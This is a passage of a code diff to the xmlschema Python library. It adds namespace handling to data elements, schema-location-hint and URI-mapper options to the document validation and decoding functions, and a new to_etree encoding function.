dictionary provided. + :param root_only: if `True` processes only the namespaces declared in the data \ + element, otherwise precesses also other namespaces declared in its descendants. + """ + namespaces = copy(namespaces) if namespaces is not None else {} + if root_only: + update_namespaces(namespaces, self.nsmap.items(), root_declarations=True) + else: + nsmap = None + for elem in self.iter(): + if nsmap is not elem.nsmap: + nsmap = elem.nsmap + update_namespaces(namespaces, nsmap.items(), elem is self) + + return namespaces + def validate(self, use_defaults: bool = True, namespaces: Optional[NamespacesType] = None, max_depth: Optional[int] = None) -> None: @@ -212,14 +283,13 @@ def iter_errors(self, use_defaults: bool = True, Accepts the same arguments of :meth:`validate`. """ if self._encoder is None: - raise XMLSchemaValueError("{!r} has no schema bindings".format(self)) + raise XMLSchemaValueError("%r has no schema bindings" % self) kwargs: Dict[str, Any] = { + 'namespaces': self.get_namespaces(namespaces, root_only=False), 'converter': DataElementConverter, 'use_defaults': use_defaults, } - if namespaces: - kwargs['namespaces'] = namespaces if isinstance(max_depth, int) and max_depth >= 0: kwargs['max_depth'] = max_depth @@ -243,6 +313,7 @@ def encode(self, validation: str = 'strict', **kwargs: Any) \ :raises: :exc:`XMLSchemaValidationError` if the object is invalid \ and ``validation='strict'``. """ + kwargs['namespaces'] = self.get_namespaces(kwargs.get('namespaces'), False) if 'converter' not in kwargs: kwargs['converter'] = DataElementConverter @@ -252,17 +323,54 @@ def encode(self, validation: str = 'strict', **kwargs: Any) \ elif validation == 'skip': encoder = validators.XMLSchema.builtin_types()['anyType'] else: - raise XMLSchemaValueError("{!r} has no schema bindings".format(self)) + raise XMLSchemaValueError("%r has no schema bindings" % self) return encoder.encode(self, validation=validation, **kwargs) to_etree = encode - def tostring(self, indent: str = '', max_lines: Optional[int] = None, - spaces_for_tab: int = 4) -> Any: - """Serializes the data element tree to an XML source string.""" - root, errors = self.encode(validation='lax') - return etree_tostring(root, self.nsmap, indent, max_lines, spaces_for_tab) + def tostring(self, namespaces: Optional[MutableMapping[str, str]] = None, + indent: str = '', max_lines: Optional[int] = None, + spaces_for_tab: int = 4, xml_declaration: bool = False, + encoding: str = 'unicode', method: str = 'xml') -> str: + """ + Serializes the data element tree to an XML source string. + + :param namespaces: is an optional mapping from namespace prefix to URI. \ + Provided namespaces are registered before serialization. Ignored if the \ + provided *elem* argument is a lxml Element instance. + :param indent: the baseline indentation. + :param max_lines: if truncate serialization after a number of lines \ + (default: do not truncate). + :param spaces_for_tab: number of spaces for replacing tab characters. For \ + default tabs are replaced with 4 spaces, provide `None` to keep tab characters. + :param xml_declaration: if set to `True` inserts the XML declaration at the head. + :param encoding: if "unicode" (the default) the output is a string, \ + otherwise it’s binary. + :param method: is either "xml" (the default), "html" or "text". + :return: a Unicode string. + """ + root, _ = self.encode(validation='lax') + if not hasattr(root, 'nsmap'): + namespaces = self.get_namespaces(namespaces, root_only=False) + + _string = etree_tostring( + elem=root, + namespaces=namespaces, + indent=indent, + max_lines=max_lines, + spaces_for_tab=spaces_for_tab, + xml_declaration=xml_declaration, + encoding=encoding, + method=method + ) + if isinstance(_string, bytes): # pragma: no cover + return _string.decode('utf-8') + return _string + + def _get_xpath_context(self) -> XPathContext: + xpath_root = build_node_tree(self) + return XPathContext(xpath_root) def find(self, path: str, namespaces: Optional[NamespacesType] = None) -> Optional['DataElement']: @@ -274,7 +382,7 @@ def find(self, path: str, :return: the first matching data element or ``None`` if there is no match. """ parser = XPath2Parser(namespaces, strict=False) - context = XPathContext(cast(Any, self)) + context = self._get_xpath_context() result = next(parser.parse(path).select_results(context), None) return result if isinstance(result, DataElement) else None @@ -289,11 +397,11 @@ def findall(self, path: str, an empty list is returned if there is no match. """ parser = XPath2Parser(namespaces, strict=False) - context = XPathContext(cast(Any, self)) + context = self._get_xpath_context() results = parser.parse(path).get_results(context) - if not isinstance(results, list): + if not isinstance(results, list): # pragma: no cover return [] - return [e for e in results if isinstance(e, DataElement)] + return cast(List[DataElement], [e for e in results if isinstance(e, DataElement)]) def iterfind(self, path: str, namespaces: Optional[NamespacesType] = None) -> Iterator['DataElement']: @@ -305,33 +413,9 @@ def iterfind(self, path: str, :return: an iterable yielding all matching data elements in document order. """ parser = XPath2Parser(namespaces, strict=False) - context = XPathContext(cast(Any, self)) + context = self._get_xpath_context() results = parser.parse(path).select_results(context) - yield from filter(lambda x: isinstance(x, DataElement), results) # type: ignore[misc] - - def iter(self, tag: Optional[str] = None) -> Iterator['DataElement']: - """ - Creates an iterator for the data element and its subelements. If tag - is not `None` or '*', only data elements whose matches tag are returned - from the iterator. - """ - if tag == '*': - tag = None - if tag is None or tag == self.tag: - yield self - for child in self._children: - yield from child.iter(tag) - - def iterchildren(self, tag: Optional[str] = None) -> Iterator['DataElement']: - """ - Creates an iterator for the child data elements. If *tag* is not `None` or '*', - only data elements whose name matches tag are returned from the iterator. - """ - if tag == '*': - tag = None - for child in self: - if tag is None or tag == child.tag: - yield child + yield from filter(lambda x: isinstance(x, DataElement), results) class DataBindingMeta(ABCMeta): @@ -348,13 +432,13 @@ def __new__(mcs, name: str, bases: Tuple[Type[Any], ...], raise XMLSchemaAttributeError(msg) from None if not isinstance(xsd_element, validators.XsdElement): - raise XMLSchemaTypeError("{!r} is not an XSD element".format(xsd_element)) + raise XMLSchemaTypeError(f"{xsd_element!r} is not an XSD element") attrs['__module__'] = None - return super(DataBindingMeta, mcs).__new__(mcs, name, bases, attrs) + return super().__new__(mcs, name, bases, attrs) def __init__(cls, name: str, bases: Tuple[Type[Any], ...], attrs: Dict[str, Any]) -> None: - super(DataBindingMeta, cls).__init__(name, bases, attrs) + super().__init__(name, bases, attrs) cls.xsd_version = cls.xsd_element.xsd_version cls.namespace = cls.xsd_element.target_namespace @@ -375,18 +459,45 @@ class DataElementConverter(XMLSchemaConverter): :param namespaces: a dictionary map from namespace prefixes to URI. :param data_element_class: MutableSequence subclass to use for decoded data. \ Default is `DataElement`. + :param map_attribute_names: define if map the names of attributes to prefixed \ + form. Defaults to `True`. If `False` the names are kept to extended format. """ - __slots__ = 'data_element_class', + __slots__ = 'data_element_class', 'map_attribute_names' def __init__(self, namespaces: Optional[NamespacesType] = None, data_element_class: Optional[Type['DataElement']] = None, + map_attribute_names: bool = True, **kwargs: Any) -> None: if data_element_class is None: self.data_element_class = DataElement else: self.data_element_class = data_element_class + + self.map_attribute_names = map_attribute_names kwargs.update(attr_prefix='', text_key='', cdata_prefix='') - super(DataElementConverter, self).__init__(namespaces, **kwargs) + super().__init__(namespaces, **kwargs) + + @property + def xmlns_processing_default(self) -> str: + return 'stacked' + + def get_xmlns_from_data(self, obj: Any) -> Optional[List[Tuple[str, str]]]: + return obj.xmlns if isinstance(obj, DataElement) else None + + def get_namespaces(self, namespaces: Optional[NamespacesType] = None, + root_only: bool = True) -> NamespacesType: + if not isinstance(self.source, DataElement) or self._xmlns_getter is None: + return super().get_namespaces(namespaces, root_only) + + namespaces = get_namespace_map(namespaces) + for obj in self.source.iter(): + xmlns = self.get_xmlns_from_data(obj) + if xmlns: + update_namespaces(namespaces, xmlns, obj is self.source) + if root_only: + break + + return namespaces @property def lossy(self) -> bool: @@ -396,21 +507,32 @@ def lossy(self) -> bool: def losslessly(self) -> bool: return True - def copy(self, **kwargs: Any) -> 'DataElementConverter': - obj = cast(DataElementConverter, super().copy(**kwargs)) + def copy(self, keep_namespaces: bool = True, **kwargs: Any) -> 'DataElementConverter': + obj = cast(DataElementConverter, super().copy(keep_namespaces, **kwargs)) obj.data_element_class = kwargs.get('data_element_class', self.data_element_class) return obj - def element_decode(self, data: ElementData, xsd_element: 'XsdElement', - xsd_type: Optional[BaseXsdType] = None, level: int = 0) -> 'DataElement': - data_element = self.data_element_class( + def get_data_element(self, data: ElementData, + xsd_element: 'XsdElement', + xsd_type: Optional[BaseXsdType] = None, + level: int = 0) -> DataElement: + xmlns = self.get_effective_xmlns(data.xmlns, level, xsd_element) + return self.data_element_class( tag=data.tag, value=data.text, - nsmap=self.namespaces, + nsmap=self._namespaces if self._use_namespaces else None, + xmlns=xmlns, xsd_element=xsd_element, xsd_type=xsd_type ) - data_element.attrib.update((k, v) for k, v in self.map_attributes(data.attributes)) + + def element_decode(self, data: ElementData, xsd_element: 'XsdElement', + xsd_type: Optional[BaseXsdType] = None, level: int = 0) -> 'DataElement': + data_element = self.get_data_element(data, xsd_element, xsd_type, level) + if self.map_attribute_names: + data_element.attrib.update(self.map_attributes(data.attributes)) + elif data.attributes: + data_element.attrib.update(data.attributes) if (xsd_type or xsd_element.type).model_group is not None: for name, value, _ in self.map_content(data.content): @@ -426,8 +548,8 @@ def element_decode(self, data: ElementData, xsd_element: 'XsdElement', def element_encode(self, data_element: 'DataElement', xsd_element: 'XsdElement', level: int = 0) -> ElementData: - self.namespaces.update(data_element.nsmap) - if not xsd_element.is_matching(data_element.tag, self._namespaces.get('')): + xmlns = self.set_context(data_element, level) + if not xsd_element.is_matching(data_element.tag): raise XMLSchemaValueError("Unmatched tag") attributes = {self.unmap_qname(k, xsd_element.attributes): v @@ -435,7 +557,7 @@ def element_encode(self, data_element: 'DataElement', xsd_element: 'XsdElement', data_len = len(data_element) if not data_len: - return ElementData(data_element.tag, data_element.value, None, attributes) + return ElementData(data_element.tag, data_element.value, None, attributes, xmlns) content: List[Tuple[Union[str, int], Any]] = [] cdata_num = count(1) @@ -447,7 +569,7 @@ def element_encode(self, data_element: 'DataElement', xsd_element: 'XsdElement', if e.tail is not None: content.append((next(cdata_num), e.tail)) - return ElementData(data_element.tag, None, content, attributes) + return ElementData(data_element.tag, None, content, attributes, xmlns) class DataBindingConverter(DataElementConverter): @@ -459,25 +581,16 @@ class DataBindingConverter(DataElementConverter): """ __slots__ = () - def element_decode(self, data: ElementData, xsd_element: 'XsdElement', - xsd_type: Optional[BaseXsdType] = None, level: int = 0) -> 'DataElement': + def get_data_element(self, data: ElementData, + xsd_element: 'XsdElement', + xsd_type: Optional[BaseXsdType] = None, + level: int = 0) -> DataElement: + xmlns = self.get_effective_xmlns(data.xmlns, level, xsd_element) cls = xsd_element.get_binding(self.data_element_class) - data_element = cls( + return cls( tag=data.tag, value=data.text, - nsmap=self.namespaces, + nsmap=self._namespaces if self._use_namespaces else None, + xmlns=xmlns, xsd_type=xsd_type ) - data_element.attrib.update((k, v) for k, v in self.map_attributes(data.attributes)) - - if (xsd_type or xsd_element.type).model_group is not None: - for name, value, _ in self.map_content(data.content): - if not name.isdigit(): - data_element.append(value) - else: - try: - data_element[-1].tail = value - except IndexError: - data_element.value = value - - return data_element diff --git a/xmlschema/documents.py b/xmlschema/documents.py index 2720d3a..805ce76 100644 --- a/xmlschema/documents.py +++ b/xmlschema/documents.py @@ -12,13 +12,15 @@ from typing import Any, Dict, List, Optional, Type, Union, Tuple, \ IO, BinaryIO, TextIO, Iterator +from elementpath.etree import ElementTree, etree_tostring + from .exceptions import XMLSchemaTypeError, XMLSchemaValueError, XMLResourceError -from .names import XSD_NAMESPACE, XSI_TYPE -from .etree import ElementTree, etree_tostring +from .names import XSD_NAMESPACE, XSI_TYPE, XSD_SCHEMA from .aliases import ElementType, XMLSourceType, NamespacesType, LocationsType, \ - LazyType, SchemaSourceType, ConverterType, DecodeType, EncodeType, \ + LazyType, UriMapperType, SchemaSourceType, ConverterType, DecodeType, EncodeType, \ JsonDecodeType -from .helpers import is_etree_document +from .helpers import get_extended_qname, update_namespaces, get_namespace_map, \ + is_etree_document from .resources import fetch_schema_locations, XMLResource from .validators import XMLSchema10, XMLSchemaBase, XMLSchemaValidationError @@ -31,6 +33,9 @@ def get_context(xml_document: Union[XMLSourceType, XMLResource], defuse: str = 'remote', timeout: int = 300, lazy: LazyType = False, + thin_lazy: bool = True, + uri_mapper: Optional[UriMapperType] = None, + use_location_hints: bool = True, dummy_schema: bool = False) -> Tuple[XMLResource, XMLSchemaBase]: """ Get the XML document validation/decode context. @@ -43,46 +48,56 @@ def get_context(xml_document: Union[XMLSourceType, XMLResource], if cls is None: cls = XMLSchema10 elif not issubclass(cls, XMLSchemaBase): - raise XMLSchemaTypeError(f"invalid schema class {cls}") + raise XMLSchemaTypeError("invalid schema class %r" % cls) if isinstance(xml_document, XMLResource): resource = xml_document else: - resource = XMLResource(xml_document, base_url, defuse=defuse, - timeout=timeout, lazy=lazy) + resource = XMLResource(xml_document, base_url, defuse=defuse, timeout=timeout, + lazy=lazy, thin_lazy=thin_lazy) if isinstance(schema, XMLSchemaBase) and resource.namespace in schema.maps.namespaces: return resource, schema if isinstance(resource, XmlDocument) and isinstance(resource.schema, XMLSchemaBase): return resource, resource.schema - try: - schema_location, locations = fetch_schema_locations(resource, locations, base_url=base_url) - except ValueError: - if schema is None: - if XSI_TYPE in resource.root.attrib and cls.meta_schema is not None: - return resource, cls.meta_schema - elif dummy_schema: - return resource, get_dummy_schema(resource, cls) + if use_location_hints: + try: + schema_location, locations = fetch_schema_locations( + resource, locations, base_url=base_url + ) + except ValueError: + pass + else: + kwargs = { + 'locations': locations, + 'defuse': defuse, + 'timeout': timeout, + 'uri_mapper': uri_mapper + } + if schema is None or isinstance(schema, XMLSchemaBase): + return resource, cls(schema_location, **kwargs) else: - msg = "no schema can be retrieved for the provided XML data" - raise XMLSchemaValueError(msg) from None - - elif isinstance(schema, XMLSchemaBase): - return resource, schema + return resource, cls(schema, **kwargs) + + if schema is None: + if XSD_NAMESPACE == resource.namespace: + assert cls.meta_schema is not None + return resource, cls.meta_schema + elif dummy_schema or XSI_TYPE in resource.root.attrib: + return resource, get_dummy_schema(resource.root.tag, cls) else: - return resource, cls(schema, locations=locations, base_url=base_url, - defuse=defuse, timeout=timeout) + msg = "cannot get a schema for XML data, provide a schema argument" + raise XMLSchemaValueError(msg) + + elif isinstance(schema, XMLSchemaBase): + return resource, schema else: - kwargs = dict(locations=locations, defuse=defuse, timeout=timeout) - if schema is None or isinstance(schema, XMLSchemaBase): - return resource, cls(schema_location, **kwargs) - else: - return resource, cls(schema, **kwargs) + return resource, cls(schema, locations=locations, base_url=base_url, + defuse=defuse, timeout=timeout, uri_mapper=uri_mapper) -def get_dummy_schema(resource: XMLResource, cls: Type[XMLSchemaBase]) -> XMLSchemaBase: - tag = resource.root.tag +def get_dummy_schema(tag: str, cls: Type[XMLSchemaBase]) -> XMLSchemaBase: if tag.startswith('{'): namespace, name = tag[1:].split('}') else: @@ -90,14 +105,14 @@ def get_dummy_schema(resource: XMLResource, cls: Type[XMLSchemaBase]) -> XMLSche if namespace: return cls( - '<xs:schema xmlns:xs="{0}" targetNamespace="{1}">\n' - ' <xs:element name="{2}"/>\n' + '<xs:schema xmlns:xs="{}" targetNamespace="{}">\n' + ' <xs:element name="{}"/>\n' '</xs:schema>'.format(XSD_NAMESPACE, namespace, name) ) else: return cls( - '<xs:schema xmlns:xs="{0}">\n' - ' <xs:element name="{1}"/>\n' + '<xs:schema xmlns:xs="{}">\n' + ' <xs:element name="{}"/>\n' '</xs:schema>'.format(XSD_NAMESPACE, name) ) @@ -107,12 +122,12 @@ def get_lazy_json_encoder(errors: List[XMLSchemaValidationError]) -> Type[json.J class JSONLazyEncoder(json.JSONEncoder): def default(self, obj: Any) -> Any: if isinstance(obj, Iterator): - while True: - result = next(obj, None) + for result in obj: if isinstance(result, XMLSchemaValidationError): errors.append(result) else: return result + return None return json.JSONEncoder.default(self, obj) return JSONLazyEncoder @@ -129,7 +144,10 @@ def validate(xml_document: Union[XMLSourceType, XMLResource], base_url: Optional[str] = None, defuse: str = 'remote', timeout: int = 300, - lazy: LazyType = False) -> None: + lazy: LazyType = False, + thin_lazy: bool = True, + uri_mapper: Optional[UriMapperType] = None, + use_location_hints: bool = True) -> None: """ Validates an XML document against a schema instance. This function builds an :class:`XMLSchema` object for validating the XML document. Raises an @@ -137,7 +155,7 @@ def validate(xml_document: Union[XMLSourceType, XMLResource], the schema. :param xml_document: can be an :class:`XMLResource` instance, a file-like object a path \ - to a file or an URI of a resource or an Element instance or an ElementTree instance or \ + to a file or a URI of a resource or an Element instance or an ElementTree instance or \ a string containing the XML data. If the passed argument is not an :class:`XMLResource` \ instance a new one is built using this and *defuse*, *timeout* and *lazy* arguments. :param schema: can be a schema instance or a file-like object or a file path or a URL \ @@ -155,16 +173,22 @@ def validate(xml_document: Union[XMLSourceType, XMLResource], has to be built. :param base_url: is an optional custom base URL for remapping relative locations, for \ default uses the directory where the XSD or alternatively the XML document is located. - :param defuse: optional argument to pass for construct schema and \ - :class:`XMLResource` instances. - :param timeout: optional argument to pass for construct schema and \ - :class:`XMLResource` instances. - :param lazy: optional argument for construct the :class:`XMLResource` instance. + :param defuse: an optional argument for building the schema and the \ + :class:`XMLResource` instance. + :param timeout: an optional argument for building the schema and the \ + :class:`XMLResource` instance. + :param lazy: an optional argument for building the :class:`XMLResource` instance. + :param thin_lazy: an optional argument for building the :class:`XMLResource` instance. + :param uri_mapper: an optional argument for building the schema from location hints. + :param use_location_hints: for default, in case a schema instance has \ + to be built, uses also schema locations hints provided within XML data. \ + Set this option to `False` to ignore these schema location hints. """ - source, _schema = get_context( - xml_document, schema, cls, locations, base_url, defuse, timeout, lazy - ) - _schema.validate(source, path, schema_path, use_defaults, namespaces) + source, schema = get_context(xml_document, schema, cls, locations, base_url, + defuse, timeout, lazy, thin_lazy, uri_mapper, + use_location_hints) + schema.validate(source, path, schema_path, use_defaults, namespaces, + use_location_hints=use_location_hints) def is_valid(xml_document: Union[XMLSourceType, XMLResource], @@ -178,15 +202,19 @@ def is_valid(xml_document: Union[XMLSourceType, XMLResource], base_url: Optional[str] = None, defuse: str = 'remote', timeout: int = 300, - lazy: LazyType = False) -> bool: + lazy: LazyType = False, + thin_lazy: bool = True, + uri_mapper: Optional[UriMapperType] = None, + use_location_hints: bool = True) -> bool: """ - Like :meth:`validate` except that do not raises an exception but returns ``True`` if + Like :meth:`validate` except that do not raise an exception but returns ``True`` if the XML document is valid, ``False`` if it's invalid. """ - source, schema = get_context( - xml_document, schema, cls, locations, base_url, defuse, timeout, lazy - ) - return schema.is_valid(source, path, schema_path, use_defaults, namespaces) + source, schema = get_context(xml_document, schema, cls, locations, base_url, + defuse, timeout, lazy, thin_lazy, uri_mapper, + use_location_hints) + return schema.is_valid(source, path, schema_path, use_defaults, namespaces, + use_location_hints=use_location_hints) def iter_errors(xml_document: Union[XMLSourceType, XMLResource], @@ -200,28 +228,34 @@ def iter_errors(xml_document: Union[XMLSourceType, XMLResource], base_url: Optional[str] = None, defuse: str = 'remote', timeout: int = 300, - lazy: LazyType = False) -> Iterator[XMLSchemaValidationError]: + lazy: LazyType = False, + thin_lazy: bool = True, + uri_mapper: Optional[UriMapperType] = None, + use_location_hints: bool = True) -> Iterator[XMLSchemaValidationError]: """ Creates an iterator for the errors generated by the validation of an XML document. Takes the same arguments of the function :meth:`validate`. """ - source, schema = get_context( - xml_document, schema, cls, locations, base_url, defuse, timeout, lazy - ) - return schema.iter_errors(source, path, schema_path, use_defaults, namespaces) + source, schema = get_context(xml_document, schema, cls, locations, base_url, + defuse, timeout, lazy, thin_lazy, uri_mapper, + use_location_hints) + return schema.iter_errors(source, path, schema_path, use_defaults, namespaces, + use_location_hints=use_location_hints) def iter_decode(xml_document: Union[XMLSourceType, XMLResource], schema: Optional[XMLSchemaBase] = None, cls: Optional[Type[XMLSchemaBase]] = None, path: Optional[str] = None, - validation: str = 'strict', - process_namespaces: bool = True, + validation: str = 'lax', locations: Optional[LocationsType] = None, base_url: Optional[str] = None, defuse: str = 'remote', timeout: int = 300, lazy: LazyType = False, + thin_lazy: bool = True, + uri_mapper: Optional[UriMapperType] = None, + use_location_hints: bool = True, **kwargs: Any) -> Iterator[Union[Any, XMLSchemaValidationError]]: """ Creates an iterator for decoding an XML source to a data structure. For default @@ -229,7 +263,7 @@ def iter_decode(xml_document: Union[XMLSourceType, XMLResource], or more :exc:`XMLSchemaValidationError` instances are yielded before the decoded data. :param xml_document: can be an :class:`XMLResource` instance, a file-like object a path \ - to a file or an URI of a resource or an Element instance or an ElementTree instance or \ + to a file or a URI of a resource or an Element instance or an ElementTree instance or \ a string containing the XML data. If the passed argument is not an :class:`XMLResource` \ instance a new one is built using this and *defuse*, *timeout* and *lazy* arguments. :param schema: can be a schema instance or a file-like object or a file path or a URL \ @@ -240,27 +274,30 @@ def iter_decode(xml_document: Union[XMLSourceType, XMLResource], data that have to be decoded. If not provided the XML root element is used. :param validation: defines the XSD validation mode to use for decode, can be \ 'strict', 'lax' or 'skip'. - :param process_namespaces: indicates whether to use namespace information in \ - the decoding process. :param locations: additional schema location hints, in case a schema instance \ has to be built. :param base_url: is an optional custom base URL for remapping relative locations, for \ default uses the directory where the XSD or alternatively the XML document is located. - :param defuse: optional argument to pass for construct schema and \ - :class:`XMLResource` instances. - :param timeout: optional argument to pass for construct schema and \ - :class:`XMLResource` instances. - :param lazy: optional argument for construct the :class:`XMLResource` instance. - :param kwargs: other optional arguments of :meth:`XMLSchema.iter_decode` \ + :param defuse: an optional argument for building the schema and the \ + :class:`XMLResource` instance. + :param timeout: an optional argument for building the schema and the \ + :class:`XMLResource` instance. + :param lazy: an optional argument for building the :class:`XMLResource` instance. + :param thin_lazy: an optional argument for building the :class:`XMLResource` instance. + :param uri_mapper: an optional argument for building the schema from location hints. + :param use_location_hints: for default, in case a schema instance has \ + to be built, uses also schema locations hints provided within XML data. \ + Set this option to `False` to ignore these schema location hints. + :param kwargs: other optional arguments of :meth:`XMLSchemaBase.iter_decode` \ as keyword arguments. :raises: :exc:`XMLSchemaValidationError` if the XML document is invalid and \ ``validation='strict'`` is provided. """ - source, _schema = get_context( - xml_document, schema, cls, locations, base_url, defuse, timeout, lazy - ) + source, _schema = get_context(xml_document, schema, cls, locations, base_url, + defuse, timeout, lazy, thin_lazy, uri_mapper, + use_location_hints) yield from _schema.iter_decode(source, path=path, validation=validation, - process_namespaces=process_namespaces, **kwargs) + use_location_hints=use_location_hints, **kwargs) def to_dict(xml_document: Union[XMLSourceType, XMLResource], @@ -268,12 +305,15 @@ def to_dict(xml_document: Union[XMLSourceType, XMLResource], cls: Optional[Type[XMLSchemaBase]] = None, path: Optional[str] = None, validation: str = 'strict', - process_namespaces: bool = True, locations: Optional[LocationsType] = None, base_url: Optional[str] = None, defuse: str = 'remote', timeout: int = 300, - lazy: LazyType = False, **kwargs: Any) -> DecodeType[Any]: + lazy: LazyType = False, + thin_lazy: bool = True, + uri_mapper: Optional[UriMapperType] = None, + use_location_hints: bool = True, + **kwargs: Any) -> DecodeType[Any]: """ Decodes an XML document to a Python's nested dictionary. Takes the same arguments of the function :meth:`iter_decode`, but *validation* mode defaults to 'strict'. @@ -283,11 +323,11 @@ def to_dict(xml_document: Union[XMLSourceType, XMLResource], :raises: :exc:`XMLSchemaValidationError` if the XML document is invalid and \ ``validation='strict'`` is provided. """ - source, _schema = get_context( - xml_document, schema, cls, locations, base_url, defuse, timeout, lazy - ) + source, _schema = get_context(xml_document, schema, cls, locations, base_url, + defuse, timeout, lazy, thin_lazy, uri_mapper, + use_location_hints) return _schema.decode(source, path=path, validation=validation, - process_namespaces=process_namespaces, **kwargs) + use_location_hints=use_location_hints, **kwargs) def to_json(xml_document: Union[XMLSourceType, XMLResource], @@ -295,13 +335,15 @@ def to_json(xml_document: Union[XMLSourceType, XMLResource], schema: Optional[XMLSchemaBase] = None, cls: Optional[Type[XMLSchemaBase]] = None, path: Optional[str] = None, - converter: Optional[ConverterType] = None, - process_namespaces: bool = True, + validation: str = 'strict', locations: Optional[LocationsType] = None, base_url: Optional[str] = None, defuse: str = 'remote', timeout: int = 300, lazy: LazyType = False, + thin_lazy: bool = True, + uri_mapper: Optional[UriMapperType] = None, + use_location_hints: bool = True, json_options: Optional[Dict[str, Any]] = None, **kwargs: Any) -> JsonDecodeType: """ @@ -310,31 +352,34 @@ def to_json(xml_document: Union[XMLSourceType, XMLResource], is not validated against the schema. :param xml_document: can be an :class:`XMLResource` instance, a file-like object a path \ - to a file or an URI of a resource or an Element instance or an ElementTree instance or \ + to a file or a URI of a resource or an Element instance or an ElementTree instance or \ a string containing the XML data. If the passed argument is not an :class:`XMLResource` \ instance a new one is built using this and *defuse*, *timeout* and *lazy* arguments. :param fp: can be a :meth:`write()` supporting file-like object. - :param schema: can be a schema instance or a file-like object or a file path or an URL \ + :param schema: can be a schema instance or a file-like object or a file path or a URL \ of a resource or a string containing the schema. :param cls: schema class to use for building the instance (for default uses \ :class:`XMLSchema10`). :param path: is an optional XPath expression that matches the elements of the XML \ data that have to be decoded. If not provided the XML root element is used. - :param converter: an :class:`XMLSchemaConverter` subclass or instance to use \ - for the decoding. - :param process_namespaces: indicates whether to use namespace information in \ - the decoding process. + :param validation: defines the XSD validation mode to use for decode, can be \ + 'strict', 'lax' or 'skip'. :param locations: additional schema location hints, in case the schema instance \ has to be built. :param base_url: is an optional custom base URL for remapping relative locations, for \ default uses the directory where the XSD or alternatively the XML document is located. - :param defuse: optional argument to pass for construct schema and \ - :class:`XMLResource` instances. - :param timeout: optional argument to pass for construct schema and \ - :class:`XMLResource` instances. - :param lazy: optional argument for construct the :class:`XMLResource` instance. + :param defuse: an optional argument for building the schema and the \ + :class:`XMLResource` instance. + :param timeout: an optional argument for building the schema and the \ + :class:`XMLResource` instance. + :param uri_mapper: an optional argument for building the schema from location hints. + :param lazy: an optional argument for building the :class:`XMLResource` instance. + :param thin_lazy: an optional argument for building the :class:`XMLResource` instance. + :param use_location_hints: for default, in case a schema instance has \ + to be built, uses also schema locations hints provided within XML data. \ + Set this option to `False` to ignore these schema location hints. :param json_options: a dictionary with options for the JSON serializer. - :param kwargs: optional arguments of :meth:`XMLSchema.iter_decode` as keyword arguments \ + :param kwargs: optional arguments of :meth:`XMLSchemaBase.iter_decode` as keyword arguments \ to variate the decoding process. :return: a string containing the JSON data if *fp* is `None`, otherwise doesn't \ return anything. If ``validation='lax'`` keyword argument is provided the validation \ @@ -342,22 +387,23 @@ def to_json(xml_document: Union[XMLSourceType, XMLResource], :raises: :exc:`XMLSchemaValidationError` if the object is not decodable by \ the XSD component, or also if it's invalid when ``validation='strict'`` is provided. """ - source, _schema = get_context( - xml_document, schema, cls, locations, base_url, defuse, timeout, lazy - ) + dummy_schema = validation == 'skip' + source, _schema = get_context(xml_document, schema, cls, locations, base_url, + defuse, timeout, lazy, thin_lazy, uri_mapper, + use_location_hints, dummy_schema) if json_options is None: json_options = {} if 'decimal_type' not in kwargs: kwargs['decimal_type'] = float - kwargs['converter'] = converter - kwargs['process_namespaces'] = process_namespaces errors: List[XMLSchemaValidationError] = [] if path is None and source.is_lazy() and 'cls' not in json_options: json_options['cls'] = get_lazy_json_encoder(errors) - obj = _schema.decode(source, path=path, **kwargs) + obj = _schema.decode(source, path=path, validation=validation, + use_location_hints=use_location_hints, **kwargs) + if isinstance(obj, tuple): errors.extend(obj[1]) if fp is not None: @@ -374,10 +420,94 @@ def to_json(xml_document: Union[XMLSourceType, XMLResource], return result if not errors else (result, tuple(errors)) +def to_etree(obj: Any, + schema: Optional[Union[XMLSchemaBase, SchemaSourceType]] = None, + cls: Optional[Type[XMLSchemaBase]] = None, + path: Optional[str] = None, + validation: str = 'strict', + namespaces: Optional[NamespacesType] = None, + use_defaults: bool = True, + converter: Optional[ConverterType] = None, + unordered: bool = False, + **kwargs: Any) -> EncodeType[ElementType]: + """ + Encodes a data structure/object to an ElementTree's Element. + + :param obj: the Python object that has to be encoded to XML data. + :param schema: can be a schema instance or a file-like object or a file path or a URL \ + of a resource or a string containing the schema. If not provided a dummy schema is used. + :param cls: class to use for building the schema instance (for default uses \ + :class:`XMLSchema10`). + :param path: is an optional XPath expression for selecting the element of the schema \ + that matches the data that has to be encoded. For default the first global element of \ + the schema is used. + :param validation: the XSD validation mode. Can be 'strict', 'lax' or 'skip'. + :param namespaces: is an optional mapping from namespace prefix to URI. + :param use_defaults: whether to use default values for filling missing data. + :param converter: an :class:`XMLSchemaConverter` subclass or instance to use for \ + the encoding. + :param unordered: a flag for explicitly activating unordered encoding mode for \ + content model data. This mode uses content models for a reordered-by-model \ + iteration of the child elements. + :param kwargs: other optional arguments of :meth:`XMLSchemaBase.iter_encode` and \ + options for the converter. + :return: An element tree's Element instance. If ``validation='lax'`` keyword argument is \ + provided the validation errors are collected and returned coupled in a tuple with the \ + Element instance. + :raises: :exc:`XMLSchemaValidationError` if the object is not encodable by the schema, \ + or also if it's invalid when ``validation='strict'`` is provided. + """ + if cls is None: + cls = XMLSchema10 + elif not issubclass(cls, XMLSchemaBase): + raise XMLSchemaTypeError("invalid schema class %r" % cls) + + if schema is None: + if not path: + raise XMLSchemaTypeError("without schema a path is required " + "for building a dummy schema") + + if namespaces is None: + tag = get_extended_qname(path, {'xsd': XSD_NAMESPACE, 'xs': XSD_NAMESPACE}) + else: + tag = get_extended_qname(path, namespaces) + + if not tag.startswith('{') and ':' in tag: + raise XMLSchemaTypeError("without schema the path must be " + "mappable to a local or extended name") + + if tag == XSD_SCHEMA: + assert cls.meta_schema is not None + _schema = cls.meta_schema + else: + _schema = get_dummy_schema(tag, cls) + + elif isinstance(schema, XMLSchemaBase): + _schema = schema + else: + _schema = cls(schema) + + return _schema.encode( + obj=obj, + path=path, + validation=validation, + namespaces=namespaces, + use_defaults=use_defaults, + converter=converter, + unordered=unordered, + **kwargs + ) + + def from_json(source: Union[str, bytes, IO[str]], - schema: XMLSchemaBase, + schema: Optional[Union[XMLSchemaBase, SchemaSourceType]] = None, + cls: Optional[Type[XMLSchemaBase]] = None, path: Optional[str] = None, + validation: str = 'strict', + namespaces: Optional[NamespacesType] = None, + use_defaults: bool = True, converter: Optional[ConverterType] = None, + unordered: bool = False, json_options: Optional[Dict[str, Any]] = None, **kwargs: Any) -> EncodeType[ElementType]: """ @@ -386,13 +516,21 @@ def from_json(source: 